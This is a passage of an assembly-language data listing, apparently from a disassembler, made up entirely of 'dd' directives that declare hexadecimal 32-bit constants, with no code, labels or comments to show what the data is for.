		dd 40EF016Eh, 9526E908h, 1C4A020Fh, 64B7297h, 0D574701h
		dd 31210519h, 0B88CCE0Eh, 0CE994D48h, 0D8F45C47h, 0FBB546FCh
		dd 0E8D3B75Ch, 0DE38C992h, 0B592F66h, 0ADC55649h, 0FE386140h
		dd 8BA1702h, 61F4BBEAh,	3BAC258Ch, 603B37DCh, 46165EE6h
		dd 1877B5Ch, 36C5B5FEh,	9CAD0E9h, 400202Fh, 21CA4AC4h
		dd 0E1C8CE64h, 5F023ED0h, 281A6F91h, 1DF41D8Bh,	9F66662Fh
		dd 46207164h, 305C2C97h, 0B472420Ah, 8020165Dh,	9740A6F0h
		dd 5872ED4Ch, 1E1E1150h, 925951CCh, 0A398BFE7h,	98BD52CAh
		dd 0B43E36A2h, 25B8C83Eh, 0E5C97BD9h, 315C0578h, 0A08994C3h
		dd 0AF9E717Dh, 47CDE9C1h, 61C28000h, 9192B7F0h,	25FC3517h
		dd 4FB336A0h, 324D419Bh, 7E1C925Bh, 809ECD4h, 43A4DC5Eh
		dd 35C32773h, 3988EBB0h, 0EA4F2025h, 0DB080A80h, 4A04B010h
		dd 0FA08E2C1h, 807F2B40h, 97210B7Ch, 42B7F46Ch,	96AB2C1Eh
		dd 0C0ABD2EDh, 5F97CB59h, 4B328212h, 5CE9FE80h,	0C58DA845h
		dd 482604F9h, 0AC6C01D0h, 8EE909EBh, 4FA754B5h,	0D012D904h
		dd 0D475F9D7h, 11C27B48h, 0B35E063Dh, 0C427933Dh, 78F8F0A5h
		dd 68AA80D3h, 84824CEFh, 0E8124D0Dh, 2BD840EBh,	70AA722Ch
		dd 0D25B98BAh, 0B1CF58DAh, 1368A424h, 53F7609Fh, 4265A168h
		dd 7A934E57h, 64C71828h, 0EB8810B1h, 0D8D3F63Ch, 687444C5h
		dd 1531E42Ch, 0F5BB5360h, 727A006Dh, 1607E381h,	0F3EC36A0h
		dd 67271B0Ah, 0BE02DD74h, 761E9112h, 25822C26h,	8B92580h
		dd 494B0168h, 0B3449097h, 0A51B31BFh, 86213D95h, 622AE883h
		dd 0DA309BBAh, 0D32663F6h, 5426D709h, 2EA7C264h, 80BBB101h
		dd 0C1CCA0E1h, 9D5BFAEDh, 0FA7C0B09h, 720B8BCFh, 0F53723Dh
		dd 0CB8835B1h, 71ABE289h, 790E99Eh, 5BF58497h, 0EE2D34FFh
		dd 93A5B634h, 0DA3B22DAh, 5CD16802h, 5051CEBDh,	1195507Fh
		dd 9F35583Eh, 0E943ECC3h, 465EF7A2h, 218A2480h,	860B5827h
		dd 612FA604h, 0D718C67Ah, 1D8F665Ch, 8C6448A4h,	6666041Eh
		dd 9D2AA0BAh, 44887B49h, 4A53ACC8h, 7485A235h, 0B923902h
		dd 2A864256h, 0B302A5D2h, 405E0C4Ah, 58C56EE0h,	0B7129EFAh
		dd 0EF6CE456h, 3EDFFB3Eh, 0E421137Dh, 0CA1146D2h, 2E9655C5h
		dd 1784E49Dh, 61361968h, 23F6A829h, 89592F9Eh, 2C5FF38Eh
		dd 311502CBh, 714859E9h, 76EEC601h, 49F3385Bh, 5F236813h
		dd 40C892E8h, 3297BD93h, 649E1D92h, 0CEE28100h,	3935F036h
		dd 364BF1E9h, 2DE742BCh, 0E2189471h, 0EF2002EEh, 7B5B5402h
		dd 0B0291ABh, 0E6C403E9h, 5A162F04h, 107392A7h,	0F2217A19h
		dd 595AEAFAh, 0A62373F4h, 2C536093h, 5C271E84h,	0D0097CB0h
		dd 0E20BF143h, 0BA8B60A9h, 85F4582Ch, 75A4DA10h, 0AC593F6h
		dd 0BBE92D5Ah, 45E8765h, 10AA3EDAh, 6EA34ED9h, 28342F7Dh
		dd 2DC1C293h, 0E7DB8148h, 39FE53BFh, 0EC8C0620h, 0E4195ADAh
		dd 8494F6DDh, 84D83109h, 271DF267h, 5B4D7C59h, 68E15E40h
		dd 316A4A28h, 6AEA6D61h, 685D1230h, 0EF99B580h,	9B5751B9h
		dd 0AAEC0532h, 0C0CED139h, 0BBA43A34h, 5AD73112h, 0F14E94A8h
		dd 844F7D07h, 931FBCC8h
		dd 0A18901D5h, 0BF3D4805h, 0FBC6B52Ch, 170D2BBEh, 75D954E7h
		dd 772B443Bh, 15E9615Ah, 4041092Eh, 0BF07E145h,	0C6529068h
		dd 82ABF705h, 0BBC73D04h, 58AE9832h, 0C1645AA8h, 92EFBAh
		dd 95059968h, 0EBA82B65h, 0B422CA12h, 54955840h, 9F012B1Bh
		dd 32085A88h, 0AE0F53F6h, 4E1FE4C2h, 157A28BFh,	4A60EFAAh
		dd 60A47E41h, 5A462D03h, 2829BB38h, 13C0310Bh, 0BCF79DE9h
		dd 98FCD2E9h, 0D16B4A7Ch, 0D6AF371h, 5A8B043Ch,	0E301345Ah
		dd 0E9493865h, 0F22AD819h, 71AC2703h, 5854805Ah, 758B6857h
		dd 5F713702h, 8102EFC1h, 4DDD5EDDh, 0F9F86670h,	0CED8046Bh
		dd 86BF00D2h, 0B0117840h, 5FE4A8A9h, 0F7FA1A87h, 0A0D708D7h
		dd 163C2F6h, 0E9F80B44h, 0FC4935Fh, 0E04CAAF0h,	1AE940Eh
		dd 466208B8h, 0D5FDDFF7h, 0F882176Bh, 37064B46h, 0C43FF031h
		dd 13B1238Eh, 99116C31h, 5323327Ah, 494AC163h, 0E8F55DB9h
		dd 0E6B9C480h, 0A7FFA457h, 0E84939F6h, 204E161Fh, 704AE09Ah
		dd 3ABD551Dh, 6F8E0B1Fh, 448FF501h, 0C987982h, 0E95EC6A7h
		dd 0BB148C25h, 6A49DA7Dh, 4A0082D7h, 3467572Dh,	0A3AF842Dh
		dd 3C917B21h, 8AA993FDh, 8BB0F85h, 58806714h, 41982540h
		dd 0FB127C5Ch, 0A1B39B74h, 0F8E54E92h, 4057406Ah, 9E28CB6h
		dd 4858C32Eh, 4A97C42Fh, 0EDC5B1B4h, 4C272C30h,	31FE390Dh
		dd 42D5E4F5h, 0A44F6B79h, 979E5496h, 201CB800h,	48C14E0Ah
		dd 0D7342E6h, 63C01779h, 0EEE22012h, 495FC0Fh, 5FEAE920h
		dd 3D58CBACh, 0BFC33180h, 0B54E8F14h, 8002D880h, 205425F5h
		dd 8D9BEA9h, 0A365509Fh, 4F279435h, 0E00A8543h,	0FF65BA70h
		dd 0C6C32903h, 9AC28D43h, 0D79677F0h, 0CE70C29Ch, 40BA9550h
		dd 0A3F8EBC0h, 89FF46D1h, 59ED1851h, 58CB5201h,	92A2444Fh
		dd 5D8D139Ch, 0C2A69645h, 0E5F2A55Fh, 0E2420247h, 80B87498h
		dd 4A506DC5h, 949F5F34h, 481DA4EEh, 4B851C21h, 8762BE90h
		dd 56C5D54h, 0BB1269B3h, 28F26831h, 9D963E08h, 5EF70105h
		dd 9840178Bh, 12944D4Bh, 0D9683376h, 0D4EAEA31h, 0E99E2D0h
		dd 0C50346C0h, 0F7A99A6Ah, 0B0B0817Bh, 0B75300DBh, 8FC1B594h
		dd 87922AA0h, 24E6FABEh, 5CE5FFDh, 80829211h, 5386EB3Fh
		dd 4A5B8527h, 5D0804F7h, 12D1C8BAh, 0CA2B5081h,	0D22E5CD2h
		dd 81F68194h, 1B1AD02Fh, 95C7EE10h, 1C987782h, 0FAFBEF29h
		dd 0C7809EA9h, 7A321ACAh, 0ADF3873Eh, 59B98154h, 82E3DBF6h
		dd 839756F7h, 43186D3Bh, 6E2AF1B0h, 4C603Eh, 668575E9h
		dd 4BCB29F6h, 0D50F8259h, 30DE7C0Fh, 108F520Dh,	0BD5AF3D8h
		dd 0C380CFC0h, 0E328B203h, 5BC53DE9h, 2AAF320h,	0CC68F9F7h
		dd 62C7744Ah, 0A36BA19Ch, 4A06F1ECh, 50012513h,	40D4B02Dh
		dd 60B78996h, 1484552h,	0AC25732Fh, 60385C51h, 5B9592B2h
		dd 5029190Ch, 0E4BC305Bh, 4D2F7716h, 992502CBh,	0C527255Ah
		dd 68BCB002h, 0CEC9B7CDh, 882997F9h, 0F8289305h, 0C330A680h
		dd 4B87B50h, 0E922616Ah, 0CDA888C9h, 0C020B502h, 40D5F769h
		dd 3262B326h, 0ACD489C2h, 0D7625B07h, 6F3275CFh, 7BB3BD41h
		dd 3296C91h, 12A3BF00h,	16B1509h, 4B2CD9FDh, 0D1178BFEh
		dd 0A808D1C7h, 2D00EF99h, 36261E58h, 3317017Ch,	267A29A6h
		dd 976CA9FCh, 343413D5h, 68DA44E9h, 7BB800F4h, 2506E407h
		dd 8A2C289h, 18F56A6Bh,	0BFCE1A7Bh, 0EA4FA466h,	5825CDB7h
		dd 0AD5CF6E2h, 2CFDF153h, 802EE32Eh, 0AD208EB9h, 0C0095E5Eh
		dd 433CC2D2h, 6055CE2Fh, 2C8BC0D8h, 82C952D5h, 6CAD0CB2h
		dd 0E2D5116h, 47C38E93h, 831EBFE1h, 7CD11C39h, 17627D91h
		dd 0EE2C16C0h, 9313527Ah, 9651B249h, 0BA107B2Dh, 0EBAF408Dh
		dd 47F8C24Ah, 0A42614B2h, 1451972Dh, 0FB8D94E2h, 0DA68848Ah
		dd 0E4D0E872h, 0D9B8C440h, 4C583A5Eh, 0AE011348h, 2917812Ch
		dd 62CC2FD8h, 0AD3730E9h, 1A09C161h, 0C1D0530h,	16176985h
		dd 4047E949h, 61762D32h, 46D42907h, 0E9084036h,	36131D4Fh
		dd 2D0E39F8h, 0BB60735Bh, 0D28CA4D5h, 2E0070B4h, 0FB016743h
		dd 0B594F4E9h, 0C75E012Bh, 28936805h, 0E44EC3A2h, 99D55F2h
		dd 0A0E3E67Eh, 1C0A62EFh, 7F4D0FDBh, 0F5A4C502h, 0EA85F024h
		dd 4C0BA3C2h, 2AD09C80h, 4ED680Ah, 88EEA335h, 0E02D1427h
		dd 974ADE81h, 57D41212h, 829E7A27h, 0D8282EAh, 2A51196Bh
		dd 663F71A2h, 0EF23F294h, 341FB9C3h, 4E5E2DE0h,	0F6A129F8h
		dd 590F9805h, 0FA7D0B0Ch, 2740B801h, 0B3914Bh, 7FD685D1h
		dd 61FF9D74h, 224F50B2h, 403CC45Bh, 4AE6BB00h, 0D13E39A3h
		dd 425D25EBh, 0D8C46B6Dh, 241DAF01h, 811E7C1h, 0BE01F892h
		dd 13DF27C8h, 1DEECF70h, 0BA6D3111h, 0E299D182h, 405751FDh
		dd 0E204F01h, 6FC15E59h, 0A3E902A2h, 112FF50h, 0DE1258C2h
		dd 0E868BA20h, 0A512B178h, 5A1369F3h, 0FA3F0F9h, 0FC75925Ah
		dd 0D84EBA09h, 5A285CC3h, 98BF184h, 2486745Ah, 0B0DF524Ch
		dd 9BD1F173h, 2C70B62h,	2F7F3A9Ah, 668B6929h, 84336FD5h
		dd 0E7A2818Bh, 7C40F329h, 0D725181Bh, 2CA6E509h, 2612103Ch
		dd 8737BF5Eh, 54C9F3B2h, 448E626Ah, 69253779h, 0A79D455Fh
		dd 0CFDCE5C1h, 2A4A9403h, 85EDB062h, 54FB2FE0h,	9BC9E1E2h
		dd 3AD46565h, 232B486h,	5AF25C8Ch, 0BD58FD87h, 63E7AB6Bh
		dd 0B752F03Ah, 5AF17D9Ch, 134D1296h, 0B5BFF820h, 49E9EA87h
		dd 0E2CAD6FCh, 77B241EDh, 0C33F8F3Dh, 69E2398Fh, 0F3C99764h
		dd 0F05F2562h, 2D30E890h, 80FA4A67h, 5144EA04h,	1C801B96h
		dd 4C7E6DC8h, 0D24AD4Fh, 685761E2h, 5E2ED0DFh, 0E7D15F16h
		dd 187642ACh, 0C308B23h, 1804A2E2h, 26ADE913h, 3C88E2B6h
		dd 0C2A68E1h, 1312CB6Bh, 35BDF701h, 0BB247E8Bh,	5E84BE5Ah
		dd 0B0C100B8h, 7FAAE9BEh, 0DD58850Ah, 8A49051Eh, 85A3F630h
		dd 0C7835EF5h, 2748C24Ah, 7832CD4h, 0D918945Ch,	373A494Fh
		dd 0F1EAE289h, 5869B45Ch, 0B5507C1Ch, 6CA17EE6h, 0D2342DE1h
		dd 7B15A500h, 0B84D5003h, 0F40CA023h, 84F262Bh,	6B5D05F3h
		dd 90B7C1A2h, 5A6600D8h, 4CD72D68h, 0E4305598h,	81091FD2h
		dd 0E1EF702Fh, 0B42DC930h, 0D83101D8h, 4D7C9668h, 0D075FCA7h
		dd 6B88FCBEh, 0B912CB8h, 0D35C0178h, 3057F0C9h,	5FD2D1A0h
		dd 331DAC2Dh, 0E1407C27h, 1794508h, 70551F8h, 12017F31h
		dd 0FCEE0CE9h, 47FC83B4h, 0E40153EAh, 7EA405E0h, 69F4E181h
		dd 0C246F23h, 76836822h, 50D6500h, 3FE91328h, 59C020A7h
		dd 9902278Ch, 3231B850h, 0EBDD8272h, 95F22713h,	0FE0BAF20h
		dd 619E4AEDh, 0BB00F66Bh, 4FE2F47h, 6A30A09Fh, 2474D92Eh
		dd 180EBC1h, 3525A8E3h,	28C8FF64h, 0E812AA8Ah, 2684B6E9h
		dd 4B5E8AAAh, 842AE58Dh, 0AB8BBA73h, 82E3AC4Ah,	7D129CE9h
		dd 6B570E1Ah, 21C6ECFCh, 129890Ah, 3A8FD307h, 6ABF1004h
		dd 0D080540Fh, 305CFACFh, 770C14BCh, 0C2E0757h,	94A0F4D1h
		dd 9F78501h, 0A788E9FAh, 0BD26B372h, 6855829Ah,	0F5542897h
		dd 773BC862h, 68A6B94h,	0F5163140h, 9906C8BDh, 0DE41C543h
		dd 7329F85Bh, 2C62F5F9h, 20814517h, 2AD617B4h, 626050DDh
		dd 0B71B185Ch, 6E79B823h, 56193907h, 0FAF0EFBEh, 12F70965h
		dd 0C8F403E9h, 0B6125C7Dh, 6FA83080h, 83E744B7h, 0BCA52C86h
		dd 4152A2B7h, 368449Ah,	0D4BBE8A4h, 97B820E1h, 3566BD00h
		dd 24C041FCh, 5DD229AAh, 0B9CB4B68h, 62FA810Eh,	1073B20h
		dd 2027691Dh, 112ED94Ch
		dd 980928F4h, 0E440932Dh, 0F4EB9C0h, 323A7ED9h,	5D72A8D3h
		dd 866F7CD6h, 0B19D29Ah, 205F8959h, 0B757E0C8h,	224BC6A4h
		dd 0EA2724BDh, 0B44DBCC4h, 12553B81h, 92E31F69h, 3C56FD04h
		dd 1647AC30h, 9C2D5D0Ch, 0DE7A7D22h, 4D47C324h,	72240DEDh
		dd 98BABD19h, 0E37D87F7h, 2D1A126Ch, 5CA10E3Ah,	11808C2h
		dd 8B871041h, 0C517E6B7h, 1A7BA764h, 0CE6AB302h, 3E33E14Ah
		dd 0FABE7834h, 0CC111636h, 89790931h, 0E984D365h, 0D8AF0921h
		dd 124AABA2h, 6196A8E9h, 2C35E967h, 0B592D4Eh, 0F2037695h
		dd 6CCDF87Ah, 2D7AFD79h, 7BA72BF9h, 0ABC9D935h,	63847C35h
		dd 0BE00B0ACh, 40092011h, 0FF8F301h, 28249DB2h,	291759C5h
		dd 832263F3h, 0EC20FA90h, 0A7BA0132h, 295A2634h, 9729BFD3h
		dd 4652DEEDh, 4903D701h, 522E2C5Dh, 0C82EAEE7h,	6A751811h
		dd 0DE03DB54h, 0B42B623Bh, 8A7801ABh, 54074C63h, 6707189Eh
		dd 2B5B52E9h, 5A2676E3h, 4AFEA104h, 277824Dh, 58C247ABh
		dd 0ED80F35Eh, 921539F9h, 0C0E84A01h, 3DCC688Bh, 6549369Eh
		dd 0DF0E0B73h, 0EA83665Eh, 2859D50Ah, 0B06E64Ch, 636A1DEEh
		dd 41B25A02h, 5066810Fh, 0A62E6D68h, 0AE10147Bh, 286C0427h
		dd 0C10140B9h, 802DB062h, 6358880Ch, 0E131E97Bh, 8336D87Fh
		dd 1402C027h, 10199922h, 68668158h, 7CD21DD8h, 0C1764F97h
		dd 3FCA3190h, 0D2C0F182h, 0C1CD05CEh, 0C00AA46Ah, 7B652A2Ah
		dd 0A80C3D67h, 316064F0h, 895D12E8h, 27C1B6C3h,	88D71C2h
		dd 8004D866h, 44AB4FEDh, 133EF343h, 29441DCDh, 5136ED17h
		dd 6988B407h, 0A341177h, 0BB81157Ah, 0F7704592h, 4B28E8D7h
		dd 86D162A9h, 4B4F048h,	123BADCDh, 294308h, 0F643B753h
		dd 0EF0780DFh, 5BFD282Eh, 7E59EB02h, 65AA2099h,	0BEFAE8B8h
		dd 67222341h, 1EE90BD2h, 0F04BE068h, 0F04A0139h, 59873732h
		dd 432BA488h, 87277C8Ah, 55B202CEh, 92995E54h, 5F29E833h
		dd 5C3AD1CCh, 8C808B23h, 29DE75F7h, 0C32DD67Dh,	0CB06D12Bh
		dd 4925D344h, 16A2E4F9h, 1447EABEh, 0B55B3CC2h,	870C807Fh
		dd 29418446h, 51B8F5h, 72C97CCBh, 5B7F9225h, 2CA5950h
		dd 4F224858h, 3AA91F85h, 13C74C8Ah, 550E9259h, 97CE75Dh
		dd 5A5ABBE9h, 5159CF0Bh, 0BA730457h, 58A59CAFh,	8E5B42B0h
		dd 5FF73FC2h, 3C2212E9h, 0CF680B21h, 201C660Bh,	0AC09F635h
		dd 574CB151h, 3B1B1222h, 86891A6Ch, 2DABF079h, 0E905E897h
		dd 85EE96B7h, 815355E2h, 59B2B25h, 42F47C16h, 37C4B55Bh
		dd 0CFB04C30h, 0BB53F0h, 6CB87C3Eh, 576F492Dh, 0D8291105h
		dd 0AFB002E9h, 0BFF07288h, 8B5BE5E0h, 806B0189h, 0C9451113h
		dd 4E32267Eh, 66EE79C1h, 0C0DCF64Fh, 685AD56Fh,	28BB41A4h
		dd 832AD20Eh, 0D48FE927h, 821624FBh, 0B9720910h, 0EF843827h
		dd 836809C4h, 0C72FEDDEh, 565F097Ch, 0D63CB1DDh, 0BFC7E430h
		dd 700129C9h, 29B7CAC2h, 8FF540Eh, 0D92F83FBh, 0E2954AB0h
		dd 0A1704BE9h, 35D4E1EAh, 0F8A38F20h, 0B702EC11h, 558EC3AEh
		dd 456CBDCFh, 5DFAE814h, 0F62B70FFh, 29375B7Eh,	0A03810C3h
		dd 0ABFB2035h, 45FD8713h, 0DF298101h, 457A8CC2h, 0ACA8541Fh
		dd 45A090B6h, 572C808Eh, 1284940h, 5277FAEBh, 0E55ADB90h
		dd 0D743F608h, 0AD29E0FDh, 0F69C4DECh, 1E746800h, 0C5E2893h
		dd 0EE83DEF7h, 0D0ABF3F2h, 0A8BADAD3h, 7F5CE249h, 0DA033DD3h
		dd 2DD4DEBCh, 2472C44h,	1002E25Bh, 0C000FB44h, 0D0F602E0h
		dd 10BB353h, 865BD828h,	0ED639549h, 0CADE8C1h, 3F061A69h
		dd 6A06512h, 156500DAh,	85EA8128h, 5009385Eh, 71E614E9h
		dd 0C00C0865h, 807AD01Fh, 0C9FE02E1h, 0EF86D9F6h, 1F3D5290h
		dd 9E79CE80h, 0B6D601C6h, 8F5F6583h, 5EA95872h,	86406218h
		dd 5BDF3101h, 0D186032Eh, 0EC6F7E7h, 481063Dh, 0A1E59EC4h
		dd 0D19E1CABh, 17004CD0h, 0B12C754Fh, 0F66BF58h, 8D55B790h
		dd 20AB35F5h, 89BD187Bh, 89EC51B1h, 0F77C62E9h,	805A3726h
		dd 4805840Bh, 0BD89777h, 3FF9CCDh, 7BE30C80h, 0F9E9FC6Ah
		dd 581AA39Ch, 0EC9840EBh, 2ED53E7Ah, 2029F5A6h,	0EB8BBD08h
		dd 989DB994h, 0B7E1F6E8h, 15DF26A9h, 102C109Ah,	803B8BC2h
		dd 0CB286407h, 8AEB6259h, 0AE8D0249h, 10C95434h, 0AADEE90Bh
		dd 4DB480F7h, 9D420A18h, 770B64D3h, 0FD5D9A3Fh,	9C7037A2h
		dd 8840B500h, 0EB3AA3E8h, 0CCBACCD5h, 0F4400725h, 20579201h
		dd 954CEAD1h, 9B4827CFh, 85C4FC43h, 70F91F22h, 0DBC7B797h
		dd 0DB016BA8h, 0E91E3F25h, 6C7C0C41h, 573630C1h, 0E31B3070h
		dd 331A097Ch, 0AEECB01h, 0D5105E08h, 62D52D26h,	1CD72F16h
		dd 0F9C5B78Fh, 813471A7h, 3251C2Dh, 5F29477h, 508B4A07h
		dd 5923359h, 123B68B8h,	0C124BB61h, 0A258D731h,	3F01396Bh
		dd 26900089h, 0C98100EFh, 7305033Eh, 90D171F7h,	9780B0E0h
		dd 0C057EF1Ah, 97378530h, 4921C3A2h, 0F0E5165Fh, 500394DAh
		dd 0F1966851h, 2D63CA4Dh, 0F0E2E985h, 0CF6BFEF7h, 0DBDB0004h
		dd 0EC5BFC28h, 0A09C4EF4h, 0E9185AACh, 0C2C38456h, 5E17122Fh
		dd 0A95CAE5Bh, 48F577C1h, 0E10529D2h, 92D92071h, 0BBB53B39h
		dd 0F6E90931h, 70DC5424h, 72499068h, 109CCB84h,	17FCC30Ah
		dd 0BCF7C9B0h, 0DD88346Ah, 3B7904BBh, 856794B6h, 182CFA52h
		dd 0C8B70B0Fh, 607B6E68h, 3A805D0Dh, 0B7589573h, 74366882h
		dd 57136C5Bh, 41452EABh, 6FD95DC5h, 73689BCDh, 7822BE00h
		dd 0EEC16EA3h, 814E0300h, 0D46F02F6h, 0D68BB70Dh, 0CAF88850h
		dd 735A2B1Fh, 24BCDE30h, 7B29E84Dh, 402D04D0h, 0BC552106h
		dd 0A2D1B30Fh, 1E10DEF8h, 0FF60B17h, 465ADABAh,	66D5DBA0h
		dd 70745327h, 0BFE29F32h, 0E9020A0Fh, 74F89Dh, 8C3299BBh
		dd 0A72E5D0Eh, 0B7494FAEh, 0BD11D1B8h, 2B191287h, 0E086901h
		dd 9F932808h, 0FE623553h, 6647755Fh, 0F197B2AAh, 50316A5Fh
		dd 0C35A85E9h, 4F687F88h, 239E45FAh, 6F3FA415h,	0E09F9DE2h
		dd 4E49181Ah, 6186BCBBh, 98D4E904h, 1F6E44AFh, 3E555833h
		dd 7FDBB85Ch, 9F3ABE89h, 3AA20B4Ch, 0F1C87FC2h,	0AF5E2A02h
		dd 522946D2h, 46F324BFh, 355EC250h, 9FF51CD5h, 0B525756Ch
		dd 9C928Eh, 91ECA0AEh, 0A2D09576h, 77D70506h, 1A425DFh
		dd 6717FF8h, 3559C829h,	0E90A0189h, 9A0E7A12h, 0ED003242h
		dd 0E5C2140Ch, 7FD34189h, 7807A740h, 5BE92931h,	5847B38Ah
		dd 19CA17EFh, 0DED3E1C8h, 3EA6C906h, 0CAD89B7Dh, 96D958A5h
		dd 0B1E29CAh, 0B283C884h, 0D74F7E8Eh, 0CB8A7C12h, 4EE8AC4Ah
		dd 9392ADC0h, 0EAD373F7h, 59522551h, 81057346h,	0C5EB41F1h
		dd 4601D6E8h, 29235A4Dh, 16D5FBCFh, 0C33E2C08h,	8B49E935h
		dd 0F9F962FBh, 0D811C104h, 0EA85F013h, 0DAB9EE70h, 88C2839h
		dd 61E64BD4h, 123CD321h, 0FB778717h, 30A12274h,	0BF3D376Bh
		dd 0B6A7C2D2h, 0AD91615Dh, 5BB7F23Eh, 20D305F2h, 6EE95745h
		dd 2A289BBEh, 761A391Dh, 1D6A0D47h, 7A2D2080h, 0A3AFB81Fh
		dd 5967E07Ch, 476A9D56h, 88770809h, 142581C8h, 2CE500FEh
		dd 0E681473Eh, 614867EFh, 0BDF60420h, 6FD0C807h, 5A1D79FBh
		dd 0A157A03Ah, 54D67BB2h, 56BF6A94h, 0BC8C897Ch, 0E96D62D6h
		dd 0D27DF060h, 0B34BFE96h, 579C115Dh, 2D527020h, 0A6E1CE65h
		dd 890D8156h, 8606E9CFh, 0CAB9287Fh, 133BC041h,	1860B226h
		dd 0B2187FF1h, 0C2800395h, 51EA28B5h, 0DDF637A0h, 0E9CDFE1Eh
		dd 25E3A057h, 5F3E4548h
		dd 0F8113A12h, 7DF4D05Ch, 0B8402DF8h, 335177ADh, 0D77DE762h
		dd 8FDACFF1h, 0E70EC5A1h, 0ED601F7Eh, 4CF1715Eh, 48062812h
		dd 2443B545h, 5672C70Fh, 3E09322Ch, 0C71520Eh, 7FE1321Ch
		dd 5910C730h, 99013045h, 31D2BCFDh, 9B7B30E8h, 0A47733B7h
		dd 0B4D372A8h, 0C632E974h, 62092AD3h, 3AADC030h, 0A47A2610h
		dd 7EAF0736h, 8729754Eh, 0F48654CEh, 4508E166h,	0A931595Eh
		dd 5EA26BAFh, 5805A352h, 300C76C2h, 8B0473A1h, 0C593E97Fh
		dd 0D2B740FCh, 0BD46AA07h, 1A8CB480h, 0EF205995h, 8AD6B6E4h
		dd 3AF65105h, 90F043C1h, 0F78DF23Ch, 2E16ED36h,	0CA810912h
		dd 0DA76DC25h, 0B9E2125Ah, 1F68F0A7h, 0E6FA438h, 104E4BBDh
		dd 170A9974h, 0D7010Bh,	7621CEEBh, 0CB68290Fh, 590F084Ch
		dd 0F77E89E9h, 0C4D0A030h, 45015299h, 4F1CCE0Eh, 7B3C34F1h
		dd 0A4DA2D25h, 92DD9DA1h, 5B245C14h, 1822BD6h, 18364498h
		dd 65D5E956h, 0B1CF6F4Dh, 0C219345Bh, 0E455A857h, 0B408F0E8h
		dd 0FB9016Bh, 0E9257D39h, 7FDF6CC7h, 617B9F29h,	0BA54510Eh
		dd 0E32C510Ah, 3F2787E9h, 47A9A58Bh, 0BC4477CDh, 7E5D29BBh
		dd 0FA6DBE29h, 242B8C10h, 510C8721h, 4B526701h,	90AE37Bh
		dd 0D0F55D54h, 4A5005BBh, 0BC2955F4h, 440C2707h, 0DC2B797h
		dd 0BFFE457Fh, 478F167Ch, 0C4E56540h, 80A26427h, 3B39A385h
		dd 2ABD4604h, 26C2D68Ch, 3D0557AFh, 0A43CE85Eh,	0FC53D404h
		dd 0E07AA12h, 699F5701h, 355820DBh, 48B02A87h, 45131D0Eh
		dd 0A29B90FDh, 1F600272h, 1B40870Ch, 58E7F848h,	342E4085h
		dd 0B763F73h, 0C7290480h, 0CAB1B802h, 4EB4105h,	13C932FCh
		dd 2678B0B8h, 0C52BE50Eh, 0A288E853h, 5E0689EBh, 105D5A1Fh
		dd 9D0B6974h, 7769B2D1h, 0E912B51Ch, 8220B93Bh,	60BC3874h
		dd 5548D075h, 0F7EC3680h, 0DC6DC50Bh, 9C65E0Ah,	0B6D32D3Fh
		dd 4F03E0A7h, 0A94CD37Ah, 8580A401h, 0A88A68E9h, 7D46F7A8h
		dd 29EC1285h, 525242F8h, 0FD56D8E9h, 9722C0Eh, 859504D0h
		dd 16C78000h, 0EFEAF728h, 12F542EBh, 294FB177h,	0DD018A21h
		dd 0A73ED2Bh, 3AFB6809h, 4EBFD796h, 73504955h, 78DA94Bh
		dd 35D3C63h, 0A9B8C0D4h, 0DE06809h, 0B7A3BE57h,	59AF8F65h
		dd 98496F9Dh, 873E115Fh, 88522B87h, 3204EBFAh, 7BA95007h
		dd 31E9D43Ah, 4D10F71Ah, 3E58F94Bh, 6764BE02h, 0FA804612h
		dd 0B9ED98A0h, 0A9C2E910h, 0DC14AE48h, 8ADE641Ah, 85387488h
		dd 40AF66E9h, 6FF2C7D8h, 0DEA002F1h, 6095C65Fh,	0BF975CB6h
		dd 307C5846h, 0C95CE6F1h, 0A6F2077Ah, 487E25E8h, 0CD135D52h
		dd 15ADC404h, 0AEC211C2h, 4DB3078Dh, 0CFD1E264h, 0F3C8310Bh
		dd 12592581h, 52FEE62h,	1EEFC355h, 0D4B90C00h, 4148CA27h
		dd 5FE10081h, 0E939D02Ch, 62C4880Ch, 0BCADC329h, 7FD2C84h
		dd 2F75D188h, 623BDEB1h, 1577584Dh, 382DBC00h, 6E4209h
		dd 22E97CF1h, 586394F5h, 0AEA51E9Dh, 4BF47927h,	82F5C2B2h
		dd 1155D91h, 0FC92C180h, 481D2C23h, 13BAC828h, 0D8F07BE9h
		dd 46250BBEh, 51E44971h, 37B29A22h, 0B2EF5EF0h,	91D2CDD3h
		dd 66F8139Eh, 8622B5D3h, 9FB17834h, 0C753F68Bh,	0E05AE90Bh
		dd 0A9D03124h, 0D97EB938h, 0F28E000Fh, 66697725h, 43AEFC0Ch
		dd 2D26D345h, 7825FF2Bh, 0DD110B18h, 6C702330h,	3CDEA0B5h
		dd 98641A33h, 0CF59951Ah, 5FFAE962h, 57C77AE2h,	0CC6E0728h
		dd 8F57C11Fh, 6E36F1h, 9F6F0551h, 12FA91Eh, 30567C3h, 70EF4B92h
		dd 3940EDE0h, 1D7BC620h, 27291250h, 5C782AFCh, 898C96D2h
		dd 8D5C778Bh, 52B82B62h, 287C0D30h, 0F8F53A19h,	59B52F90h
		dd 0C4AA6F8Ch, 0B4EA0964h, 65EA8FD5h, 39ABEC1Fh, 3FB92970h
		dd 0F9A84E57h, 0F876D9C9h, 0E970402Dh, 0DC1D4B8Fh, 3E09689Ch
		dd 0D77D0670h, 97609632h, 61827F4Bh, 0E0342F1Dh, 4DEA1C87h
		dd 802FFD31h, 3938E508h, 0A66825E2h, 0CCB76E6Ch, 0B7FE6C30h
		dd 7625962h, 7C64B833h,	0A31A60E3h, 82A0962Dh, 7091F0Bh
		dd 8F22971h, 0E525082Fh, 0C9D3983Fh, 376246E9h,	7D7B165Dh
		dd 0CFA0BE16h, 2F047DA2h, 25E94F35h, 685F3BD0h,	461A473h
		dd 7C10A7B9h, 5B5F8001h, 0FE0A83EFh, 5B1EA068h,	0DA257C43h
		dd 5E184052h, 60CD4801h, 95590B40h, 98F12122h, 5C899FF4h
		dd 17CDE439h, 8B081E68h, 0D129111Dh, 984F5358h,	0EC86C3F5h
		dd 4BD99DACh, 35E7844Fh, 4BABDBBFh, 0BE13868Ah,	0FFF434C9h
		dd 27D10744h, 0BF2D74AFh, 25C2528h, 3FB96853h, 57932964h
		dd 2C464DD9h, 5985922Bh, 0AD970CB2h, 546DDD45h,	0C8E9D0E8h
		dd 0C5BD2095h, 5AEC4674h, 4006B978h, 0EC15808h,	111E6944h
